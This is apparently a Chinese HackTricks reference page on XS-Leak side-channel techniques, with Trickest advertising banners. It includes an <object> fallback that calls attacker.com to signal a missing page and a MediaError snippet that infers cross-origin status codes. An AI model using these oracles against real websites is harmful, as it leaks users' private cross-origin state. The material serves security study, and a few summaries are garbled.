80 KiB
XS-Search/XS-Leaks
使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在网络安全公司工作吗?想要在HackTricks中看到你的公司广告吗?或者想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks衣物
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
基本信息
XS-Search是一种面向利用侧信道攻击来窃取跨源信息的技术。
这种攻击包含以下不同的元素:
- 易受攻击的Web: 我们想要窃取信息的Web
- 攻击者的Web: 攻击者创建的包含漏洞利用的Web,受害者访问该Web
- 包含方法: 用于从攻击者的Web加载易受攻击的Web的方法(如window.open、iframe、fetch、带有href的HTML标签等)
- 泄漏技术: 在访问易受攻击的Web之后,将使用一种技术来区分从使用的包含方法获得的信息与Web的潜在状态之间的差异。
- 状态: 易受攻击的Web可能具有的2种可能状态,取决于我们想要区分的受害者。
- 可检测的差异: 这是攻击者必须尝试确定易受攻击的Web状态的信息。
可检测的差异
为了区分易受攻击页面的2种状态,可以查看以下几个方面:
- 状态码。攻击者可以区分跨源的不同HTTP响应状态码(例如,服务器错误、客户端错误或身份验证错误)。
- API使用。这种可检测的差异允许攻击者检测页面之间的Web API使用,从而推断跨源页面是否使用特定的JavaScript Web API。
- 重定向。可以检测到Web应用程序是否将用户导航到其他页面。这不仅限于HTTP重定向,还包括由JavaScript或HTML触发的重定向。
- 页面内容。这些可检测的差异出现在HTTP响应正文本身或页面包含的子资源中。例如,这可能是包含的帧的数量(参见Gitlab上的XS-Leak)或图像的大小差异。
- HTTP头。攻击者可以检测特定的HTTP响应头的存在,并可能能够收集其值。这包括诸如X-Frame-Options、Content-Disposition和Cross-Origin-Resource-Policy等头部。
- 时间:攻击者可以检测到两个状态之间存在一致的时间差异。
包含方法
-
HTML元素。HTML提供了各种元素,可以实现跨源资源包含。像样式表、图像或脚本等元素会强制受害者的浏览器请求指定的非HTML资源。可以在网上找到列举此目的可能的HTML元素的列表(https://github.com/cure53/HTTPLeaks)。
-
框架。像iframe、object和embed这样的元素可以直接将其他HTML资源嵌入到攻击者页面中。如果页面不使用框架保护,JavaScript代码可以通过contentWindow属性访问嵌入资源的窗口对象。
-
弹出窗口。
window.open
方法在新的浏览器标签或窗口中加载资源。该方法返回一个窗口句柄,JavaScript代码可以使用该句柄访问符合SOP的方法和属性。这些所谓的弹出窗口通常用于单点登录。现代浏览器只允许在触发某些用户交互时弹出窗口。对于XS-Leak攻击,这种方法特别有帮助,因为它绕过了目标资源的框架和cookie限制。较新的浏览器版本最近添加了隔离窗口句柄的方法。 -
JavaScript请求。JavaScript允许直接向目标资源发送请求。有两种不同的方式可以实现这一目的:XMLHttpRequests及其后继者Fetch API。与先前的包含方法相比,攻击者对发出的请求具有精细的控制,例如是否自动跟随HTTP重定向。 ###泄漏技术
-
事件处理程序。事件处理程序可以被视为XS-Leaks的经典泄漏技术。它们是各种信息的众所周知的来源。例如,onload的触发表示资源加载成功,而onerror事件则表示加载失败。
-
错误消息。除了事件处理程序,错误消息可以作为JavaScript异常和特殊错误页面出现。错误消息可以在不同的步骤中抛出,例如,直接由泄漏技术抛出。泄漏技术可以直接使用错误消息中包含的附加信息,或者区分错误消息的出现和缺失。
-
全局限制。每台计算机都有其物理限制,浏览器也是如此。例如,可用内存的数量限制了浏览器运行的标签页。对于整个浏览器强制执行的其他浏览器限制也是如此。如果攻击者能够确定何时达到限制,这可以用作泄漏技术。
-
全局状态。浏览器具有所有页面都可以相互交互的全局状态。如果攻击者的网站可以检测到这种交互,那么它可以用作泄漏技术。例如,History接口允许操作在标签页或框架中访问的页面。这创建了一个全局状态,因为条目的数量允许攻击者推断跨源页面。
-
性能API。性能API用于访问当前页面的性能信息。它们的条目包括文档和页面加载的每个资源的详细网络计时数据。这使得攻击者可以推断出请求的资源。例如,我们发现某些请求浏览器不会创建性能条目的情况。
-
可读属性。HTML有几个可跨源读取的属性。这种读取访问可以用作泄漏技术。例如,JavaScript代码可以使用window.frame.length属性跨源读取包含在网页中的帧数。
基于时间的技术
以下一些技术将使用时间作为检测网页可能状态差异的过程的一部分。在Web浏览器中有不同的测量时间的方法。
时钟:performance.now() API允许开发人员获取高分辨率的时间测量。
攻击者可以滥用大量API来创建隐式时钟:Broadcast Channel API、Message Channel API、requestAnimationFrame、setTimeout、CSS动画等。
更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/clocks。
XSinator
XSinator是一个自动工具,用于检查浏览器是否存在几种已知的XS-Leaks,其在其论文中有详细解释:https://xsinator.com/paper.pdf
您可以在https://xsinator.com/上访问该工具。
{% hint style="warning" %} 排除的XS-Leaks:我们不得不排除依赖于服务工作者的XS-Leaks,因为它们会干扰XSinator中的其他泄漏。此外,我们选择排除依赖于特定Web应用程序中的配置错误和错误的XS-Leaks。例如,跨源资源共享(CORS)配置错误、postMessage泄漏或跨站脚本。此外,我们还排除了基于时间的XS-Leaks,因为它们往往速度慢、噪音大且不准确。 {% endhint %}
使用Trickest轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
事件处理程序技术
Onload/Onerror
- 包含方法:框架、HTML元素
- 可检测的差异:状态码
- 更多信息:https://www.usenix.org/conference/usenixsecurity19/presentation/staicu、https://xsleaks.dev/docs/attacks/error-events/
- 摘要:如果尝试加载资源时触发onerror/onload事件,可以通过状态码来确定资源的加载状态。
- 代码示例:https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}
代码示例尝试从JS中加载脚本对象,但也可以使用其他标签,如对象、样式表、图像、音频。此外,还可以直接注入标签,并在标签内声明onload
和onerror
事件(而不是从JS中注入)。
还有一个无脚本版本的攻击:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
在这种情况下,如果找不到example.com/404
,将加载attacker.com/?error
。
Onload Timing
- 包含方法:HTML元素
- 可检测差异:时间(通常由页面内容、状态码引起)
- 更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- 摘要:可以使用****performance.now() API来测量执行请求所需的时间。然而,也可以使用其他时钟,例如PerformanceLongTaskTiming API,它可以识别运行时间超过50毫秒的任务。
- 代码示例:https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events 另一个示例在:
{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}
Onload Timing + Forced Heavy Task
这种技术与前一种类似,但攻击者还将在答案为正或负时强制执行某些操作,以测量所需的时间。
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}
unload/beforeunload Timing
- 包含方法:框架
- 可检测差异:时间(通常由页面内容、状态码引起)
- 更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- 摘要:可以使用SharedArrayBuffer clock来测量执行请求所需的时间。也可以使用其他时钟。
- 代码示例:https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
unload
和beforeunload
事件可用于测量获取资源所需的时间。这是因为当浏览器请求新的导航请求时,会触发**beforeunload
,而当该导航实际发生时,会触发unload
**。由于这种行为,可以计算这两个事件之间的时间差,并测量浏览器完成获取资源所花费的时间。
Sandboxed Frame Timing + onload
- 包含方法:框架
- 可检测差异:时间(通常由页面内容、状态码引起)
- 更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- 摘要:可以使用performance.now() API来测量执行请求所需的时间。也可以使用其他时钟。
- 代码示例:https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
如果页面没有实施任何Framing Protections,攻击者可以计算页面及其所有子资源在网络上加载所需的时间。默认情况下,iframe的onload
处理程序在所有资源加载完成并且所有JavaScript执行完毕后调用。但是,攻击者可以通过在<iframe>
中包含sandbox
属性来消除脚本执行的干扰。该属性会阻止许多功能,包括JavaScript执行,从而几乎纯粹地进行网络测量。
#ID + error + onload
- 包含方法:框架
- 可检测差异:页面内容
- 更多信息:
- 摘要:如果可以使页面在访问正确内容时出错,并在访问任何内容时正确加载,那么可以制作一个循环来提取所有信息,而无需测量时间。
- 代码示例:
假设可以将包含秘密内容的页面****插入到Iframe中。
可以使用一个Iframe(例如利用CSRF)让受害者搜索包含“flag”的文件。在Iframe内部,可以知道_onload事件_将始终至少执行一次。然后,可以通过仅更改URL中的哈希内容来更改Iframe的URL。
例如:
- URL1:www.attacker.com/xssearch#try1
- URL2:www.attacker.com/xssearch#try2
如果第一个URL成功加载,那么当更改URL的哈希部分时,onload事件将不会再次触发。但是,如果页面在加载时出现某种错误,则onload事件将再次触发。
然后,可以区分正确加载的页面和访问时出现错误的页面。
Javascript Execution
- 包含方法:框架
- 可检测差异:页面内容
- 更多信息:
- 摘要:如果页面返回敏感内容,或者用户可以控制的内容。用户可以在否定情况下设置有效的JS代码,并在**
<script>
标签中加载每个尝试,因此在否定情况下,攻击者的代码将被执行**,而在肯定情况下将不会执行任何操作。 - 代码示例:
{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}
CORB - Onerror
- 包含方法:HTML元素
- 可检测差异:状态码和头部
- 更多信息:https://xsleaks.dev/docs/attacks/browser-features/corb/
- 摘要:攻击者可以观察到当CORB被执行时,如果响应返回一个带有状态码
2xx
的_CORB受保护_Content-Type
(和nosniff
),CORB会从响应中剥离正文和头部。检测到这种保护可以使攻击者泄露两者的组合,即状态码(成功与错误)和**Content-Type
**(由CORB保护或不保护)。 - 代码示例:
查看更多信息链接以了解有关攻击的更多信息。
onblur
- 包含方法:框架
- 可检测差异:页面内容
- 更多信息:https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- 摘要:从id或name属性中泄露敏感数据。
- 代码示例:https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
可以在iframe中加载页面并使用#id_value
来使页面聚焦在iframe中指定的元素上,然后如果触发了**onblur
信号,表示ID元素存在。您可以使用portal
**标签执行相同的攻击。
postMessage广播
- 包含方法:框架,弹出窗口
- 可检测差异:API使用
- 更多信息:https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- 摘要:从postMessage中收集敏感信息,或者使用postMessage的存在作为一个预言机来了解用户在页面中的状态。
- 代码示例:
任何监听所有postMessages的代码。
应用程序通常使用postMessage广播与其他来源共享信息。通过监听这些消息,可以找到敏感信息(如果未使用targetOrigin
参数)。此外,接收到某些消息的事实可以被用作预言机(只有在登录时才会收到此类消息)。
使用Trickest可以轻松构建和自动化工作流,使用全球最先进的社区工具。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
全局限制技术
WebSocket API
- 包含方法:框架,弹出窗口
- 可检测差异:API使用
- 更多信息:https://xsinator.com/paper.pdf (5.1)
- 摘要:耗尽WebSocket连接限制会泄露跨源页面的WebSocket连接数量。
- 代码示例:https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
可以确定目标页面使用了多少个WebSocket连接。这使得攻击者可以检测应用程序状态并泄露与WebSocket连接数量相关的信息。
如果一个源使用了最大数量的WebSocket连接对象,无论它们的连接状态如何,创建新对象将导致JavaScript异常。为执行此攻击,攻击者的网站在弹出窗口或iframe中打开目标网站,然后在目标网站加载完成后,尝试创建尽可能多的WebSocket连接。抛出的异常数量就是目标网站窗口使用的WebSocket连接数量。
Payment API
- 包含方法:框架,弹出窗口
- 可检测差异:API使用
- 更多信息:https://xsinator.com/paper.pdf (5.1)
- 摘要:检测支付请求,因为一次只能有一个支付请求处于活动状态。
- 代码示例:https://xsinator.com/testing.html#Payment%20API%20Leak
这种XS-Leak使攻击者能够检测跨源页面何时发起支付请求。
因为一次只能有一个支付请求处于活动状态,如果目标网站正在使用Payment Request API,任何进一步尝试使用此API将失败并导致JavaScript异常。攻击者可以通过定期尝试显示Payment API UI来利用这一点。如果一次尝试导致异常,表示目标网站当前正在使用该API。攻击者可以在创建后立即关闭UI,以隐藏这些定期尝试。
计时事件循环
- 包含方法:
- 可检测差异:计时(通常由页面内容、状态码引起)
- 更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- 摘要:通过滥用单线程JS事件循环来测量网页的执行时间。
- 代码示例:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}
JavaScript的并发模型基于单线程事件循环,这意味着一次只能运行一个任务。通过测量代码从不同源运行所需的时间,可以推断出来自不同源的代码的运行时间。攻击者通过向事件循环发送具有固定属性的事件,如果池为空,这些事件最终会被分派。其他源将事件分派到同一个池中,攻击者可以通过检测其任务是否发生延迟来推断出时间差异。
{% hint style="warning" %} 在执行计时中,可以消除****网络因素以获得更精确的测量结果。例如,在加载页面之前加载页面使用的资源。 {% endhint %}
繁忙的事件循环
- 包含方法:
- 可检测的差异:时间(通常由页面内容、状态码引起)
- 更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- 摘要:测量一个网页锁定线程的事件循环,并计时事件循环再次可用所需的时间。
- 代码示例:
这种技术的主要优点之一是它能够规避站点隔离,因为攻击者的来源可以影响另一个来源的执行。
{% hint style="warning" %} 在执行计时中,可以消除网络因素以获得更精确的测量结果。例如,在加载页面之前加载页面使用的资源。 {% endhint %}
连接池
- 包含方法:JavaScript 请求
- 可检测的差异:时间(通常由页面内容、状态码引起)
- 更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- 摘要:攻击者可以锁定除了一个之外的所有套接字,加载目标网页并同时加载另一个页面,最后一个页面开始加载的时间就是目标页面加载所需的时间。
- 代码示例:
{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}
浏览器使用套接字与服务器进行通信。由于操作系统及其运行的硬件资源有限,浏览器必须施加限制。为了利用这个限制的存在,攻击者可以:
- 检查浏览器的限制,例如全局套接字的数量为256。
- 通过对不同主机执行255个请求来长时间阻塞255个套接字,使其无法使用。
- 通过对目标页面执行一个请求来使用第256个套接字。
- 对另一个主机执行第257个请求。由于在步骤2和3中所有套接字都被使用,此请求必须等待直到连接池接收到一个可用的套接字。这个等待期间提供给攻击者的是第256个套接字的网络计时,它属于目标页面。这是因为步骤2中的255个套接字仍然被阻塞,所以如果连接池接收到一个可用的套接字,那是因为在步骤3中释放了套接字。释放第256个套接字的时间与完成请求所需的时间直接相关。
了解更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
按目标的连接池
- 包含方法:JavaScript 请求
- 可检测的差异:时间(通常由页面内容、状态码引起)
- 更多信息:
- 摘要:这与前一种技术类似,但不是使用所有的套接字,而是Google Chrome对同一源的并发请求设置了限制为6个。如果我们阻塞5个然后发起第6个请求,我们可以计时它,如果我们成功让受害页面发送更多请求到同一端点以检测页面的状态,第6个请求将花费更长的时间,我们可以检测到它。
使用Trickest轻松构建和自动化工作流程,使用全球最先进的社区工具。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
性能 API 技术
性能 API
提供了与性能相关的信息,通过资源计时 API
的数据增强,该 API 提供了网络请求的时间,如持续时间,但当服务器发送了Timing-Allow-Origin: *
头时,还提供了传输大小和域名查找时间。
可以使用performance.getEntries
或performance.getEntriesByName
来访问这些数据。也可以使用差值performance.now()
来获取执行时间,但对于 Chrome 的 fetch 来说,这似乎不太精确,因为它只提供毫秒级别的时间。
该 API 可用于测量请求的时间或检测使用了 X-Frame-Options,因为在 Chrome 中,被阻止的页面不会被添加到performance
对象中。
错误泄漏
- 包含方法:框架,HTML 元素
- 可检测的差异:状态码
- 更多信息:https://xsinator.com/paper.pdf (5.2)
- 摘要:导致错误的请求不会创建资源计时条目。
- 代码示例:https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
可以通过请求导致错误的方式来区分 HTTP 响应状态码,因为导致错误的请求不会创建性能条目。
样式重新加载错误
- 包含方法:HTML 元素
- 可检测的差异:状态码
- 更多信息:https://xsinator.com/paper.pdf (5.2)
- 摘要:由于浏览器的错误,导致错误的请求会加载两次。
- 代码示例:https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
在前一种技术中,还发现了两种情况,即浏览器中的 GC 错误导致资源加载失败时加载两次。这将导致性能 API 中出现多个条目,因此可以检测到这种情况。
请求合并错误
- 包含方法:HTML元素
- 可检测的差异:状态码
- 更多信息:https://xsinator.com/paper.pdf (5.2)
- 摘要:导致错误的请求无法合并。
- 代码示例:https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
该技术在提到的论文中的一个表格中找到,但没有找到关于该技术的描述。然而,您可以在https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak中找到检查该技术的源代码。
空页面泄漏
- 包含方法:框架
- 可检测的差异:页面内容
- 更多信息:https://xsinator.com/paper.pdf (5.2)
- 摘要:空响应不会创建资源计时条目。
- 代码示例:https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
攻击者可以检测请求是否导致空的HTTP响应体,因为空页面在某些浏览器中不会创建性能条目。
XSS-Auditor泄漏
- 包含方法:框架
- 可检测的差异:页面内容
- 更多信息:https://xsinator.com/paper.pdf (5.2)
- 摘要:使用XSS-Auditor在SA中检测网页中特定元素的存在。
- 代码示例:https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
在SA中,可以检测XSSAuditor是否被触发,从而泄漏敏感信息。XSS-Auditor是SA和GC(现已删除)的内置功能,旨在防止跨站脚本攻击(XSS)。2013年,Braun和Heiderich [7]展示了XSS-Auditor可以用于阻止误报的良性脚本。基于他们的技术,研究人员可以窃取信息并检测跨源页面上的特定内容。Terada在一个错误报告中首次描述了这些XS-Leak,后来由Heyes在一篇博文中描述。然而,发现的技术仅适用于GC中的XSS-Auditor,在SA中不起作用。我们发现被阻止的页面不会创建性能API条目。这意味着攻击者仍然可以使用SA中的XSS-Auditor泄漏敏感信息。
X-Frame泄漏
- 包含方法:框架
- 可检测的差异:头部
- 更多信息:https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- 摘要:具有X-Frame-Options头部的资源不会创建资源计时条目。
- 代码示例:https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
如果一个页面不允许在iframe中渲染,它将不会创建性能条目。因此,攻击者可以检测响应头部**X-Frame-Options
。
如果使用embed**标签也是如此。
下载检测
- 包含方法:框架
- 可检测的差异:头部
- 更多信息:https://xsinator.com/paper.pdf (5.2)
- 摘要:下载不会在性能API中创建资源计时条目。
- 代码示例:https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
类似于描述的XS-Leak,由于ContentDisposition头部而导致下载的资源也不会创建性能条目。这种技术适用于所有主要浏览器。
重定向开始泄漏
- 包含方法:框架
- 可检测的差异:重定向
- 更多信息:https://xsinator.com/paper.pdf (5.2)
- 摘要:资源计时条目泄漏重定向的开始时间。
- 代码示例:https://xsinator.com/testing.html#Redirect%20Start%20Leak
我们发现了一个XS-Leak实例,滥用了一些浏览器记录跨源请求过多信息的行为。标准定义了一组应该对跨源资源设置为零的属性子集。然而,在SA中,可以通过查询Performance API并检查redirectStart计时数据来检测用户是否被目标页面重定向。
持续时间重定向泄漏
- 包含方法:Fetch API
- 可检测的差异:重定向
- 更多信息:https://xsinator.com/paper.pdf (5.2)
- 摘要:重定向时,计时条目的持续时间为负数。
- 代码示例:https://xsinator.com/testing.html#Duration%20Redirect%20Leak
在GC中,导致重定向的请求的持续时间为负数,因此可以与不导致重定向的请求进行区分。
公司泄漏
- 包含方法:Frames
- 可检测差异:Header
- 更多信息:https://xsinator.com/paper.pdf (5.2)
- 摘要:使用CORP保护的资源不会创建资源计时条目。
- 代码示例:https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
在某些情况下,nextHopProtocol条目可以用作泄漏技术。在GC中,当设置了CORP header时,nextHopProtocol将为空。请注意,对于启用CORP的资源,SA将根本不会创建性能条目。
服务工作者
- 包含方法:Frames
- 可检测差异:API使用
- 更多信息:https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- 摘要:检测服务工作者是否为特定来源注册。
- 代码示例:
服务工作者是在一个来源上运行的事件驱动脚本上下文。它们在网页的后台运行,可以拦截、修改和缓存资源以创建离线Web应用程序。
如果通过iframe访问由服务工作者缓存的资源,则资源将从服务工作者缓存中加载。
要检测资源是否从服务工作者缓存中加载,可以使用Performance API。
这也可以通过定时攻击来实现(详细信息请参阅论文)。
缓存
- 包含方法:Fetch API
- 可检测差异:Timing
- 更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- 摘要:检测资源是否存储在缓存中。
- 代码示例:https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
使用Performance API可以检查资源是否被缓存。
更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
网络持续时间
- 包含方法:Fetch API
- 可检测差异:页面内容
- 更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- 摘要:可以从
performance
API中检索请求的网络持续时间。 - 代码示例:https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
错误消息技术
媒体错误
- 包含方法:HTML元素(视频,音频)
- 可检测差异:状态码
- 更多信息:https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- 摘要:在FF中,可以准确地泄漏跨源请求的状态码。
- 代码示例:https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}
function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
MediaError
接口的message
属性包含了一个不同的字符串,用于成功加载资源。这使得攻击者可以推断跨源资源的响应状态。
CORS错误
- 包含方法:Fetch API
- 可检测的差异:头部
- 更多信息:https://xsinator.com/paper.pdf (5.3)
- 摘要:在SA中,CORS错误消息会泄露重定向的完整URL。
- 代码示例:https://xsinator.com/testing.html#CORS%20Error%20Leak
这种技术允许攻击者泄露由跨源站点发起的重定向的目标。
CORS允许从任何网站读取和使用公开可访问的Web资源。在基于Webkit的浏览器中,当CORS请求失败时,可以访问CORS错误消息。攻击者可以向目标网站发送一个启用CORS的请求,该请求根据用户状态进行重定向。当浏览器拒绝请求时,错误消息中会泄露重定向目标的完整URL。通过这种攻击,可以检测重定向,泄露重定向位置和敏感的查询参数。
SRI错误
- 包含方法:Fetch API
- 可检测的差异:头部
- 更多信息:https://xsinator.com/paper.pdf (5.3)
- 摘要:在SA中,CORS错误消息会泄露重定向的完整URL。
- 代码示例:https://xsinator.com/testing.html#SRI%20Error%20Leak
攻击者可以通过冗长的错误消息泄露跨源响应的大小。
完整性属性定义了一个加密哈希,浏览器可以通过该哈希验证获取的资源是否被篡改。这个安全机制称为子资源完整性(SRI)。它用于验证从内容交付网络(CDN)提供的资源的完整性。为了防止数据泄露,跨源资源必须启用CORS。否则,响应将无法进行完整性验证。与CORS错误XS-Leak类似,可以在使用完整性属性的fetch请求失败后捕获错误消息。攻击者可以通过指定一个虚假的哈希值来强制触发此错误。在SA中,这个错误消息会泄露所请求资源的内容长度。攻击者可以利用这个泄露来检测响应大小的差异,从而实现强大的XS-Leak攻击。
CSP违规/检测
- 包含方法:弹出窗口
- 可检测的差异:状态码
- 更多信息:https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- 摘要:如果CSP只允许受害者网站,并且我们访问它尝试重定向到不同的域名,CSP将触发可检测的错误。
- 代码示例:https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
XS-Leak可以使用CSP检测跨源站点是否被重定向到不同的源。这个泄露可以检测重定向,而且还会泄露重定向目标的域。这种攻击的基本思想是在攻击者站点上允许目标域。一旦向目标域发出请求,它会重定向到一个跨源域。CSP阻止对它的访问并创建一个违规报告,用作泄露技术。根据浏览器的不同,这个报告可能会泄露重定向的目标位置。
现代浏览器不会显示被重定向到的URL,但仍然可以检测到触发了跨源重定向。
缓存
- 包含方法:框架,弹出窗口
- 可检测的差异:页面内容
- 更多信息:https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- 摘要:清除缓存中的文件。打开目标页面,检查缓存中是否存在该文件。
- 代码示例:
浏览器可能对所有网站使用一个共享缓存。无论其来源如何,都可以推断出目标页面是否请求了特定的文件。
如果一个页面只在用户登录后加载图像,您可以使资源无效(如果已经缓存,则不再缓存,详见更多信息链接),执行一个可能加载该资源的请求,并尝试使用错误请求加载资源(例如使用过长的引用头)。如果资源加载没有触发任何错误,那是因为它被缓存了。
CSP指令
- 包含方法:框架
- 可检测的差异:头部
- 更多信息:https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- 摘要:CSP头部指令可以通过CSP iframe属性进行探测。
- 代码示例:https://xsinator.com/testing.html#CSP%20Directive%20Leak
GC中的一个新功能允许网页通过在iframe元素上设置属性来提出CSP。策略指令随HTTP请求一起传输。通常,嵌入内容必须使用HTTP头部明确允许此操作,否则将显示错误页面。然而,如果iframe已经包含一个CSP并且新策略不更严格,页面将正常显示。
这使得攻击者可以检测跨源页面的特定CSP指令,如果可以检测到错误页面的话。尽管这个错误现在被标记为已修复,但我们发现了一个新的泄露技术,可以检测到错误页面,因为根本问题从未被修复。
CORP
- 包含方法: Fetch API
- 可检测差异: Header
- 更多信息: https://xsleaks.dev/docs/attacks/browser-features/corp/
- 摘要: 使用CORP保护的资源在获取时会抛出错误。
- 代码示例: https://xsinator.com/testing.html#CORP%20Leak
CORP头是一个相对较新的Web平台安全特性,当设置时,会阻止对给定资源的no-cors跨源请求。可以通过检测头部的存在来判断,因为使用CORP保护的资源在获取时会抛出错误。
CORB
- 包含方法: HTML元素
- 可检测差异: Headers
- 更多信息: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- 摘要: CORB可以使攻击者检测到请求中是否存在**
nosniff
头部**。 - 代码示例: https://xsinator.com/testing.html#CORB%20Leak
请查看更多信息链接以获取有关该攻击的更多信息。
未正确配置的Origin Reflection导致的CORS错误
- 包含方法: Fetch API
- 可检测差异: Headers
- 更多信息: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- 摘要: 如果Origin头部在
Access-Control-Allow-Origin
头部中被反射,可以检查资源是否已经在缓存中。 - 代码示例: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
如果Origin头部被反射在Access-Control-Allow-Origin
头部中,攻击者可以利用这种行为尝试以CORS模式获取资源。如果没有触发错误,则表示资源已经正确从Web中检索,如果触发了错误,则表示它是从缓存中访问的(错误出现是因为缓存保存了一个带有允许原始域而不是攻击者域的CORS头部的响应)。
请注意,如果Origin没有被反射,而是使用通配符(Access-Control-Allow-Origin: *
),这种方法将不起作用。
可读属性技术
Fetch重定向
- 包含方法: Fetch API
- 可检测差异: 状态码
- 更多信息: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- 摘要: GC和SA允许在重定向完成后检查响应的类型(opaque-redirect)。
- 代码示例: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
使用Fetch API提交请求时,使用redirect: "manual"
和其他参数,可以读取response.type
属性,如果它等于opaqueredirect
,则响应是一个重定向。
COOP
- 包含方法: 弹出窗口
- 可检测差异: Header
- 更多信息: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- 摘要: 受COOP保护的页面无法访问。
- 代码示例: https://xsinator.com/testing.html#COOP%20Leak
攻击者可以通过检查跨源HTTP响应中是否存在跨源打开策略(COOP)头部来泄露信息。
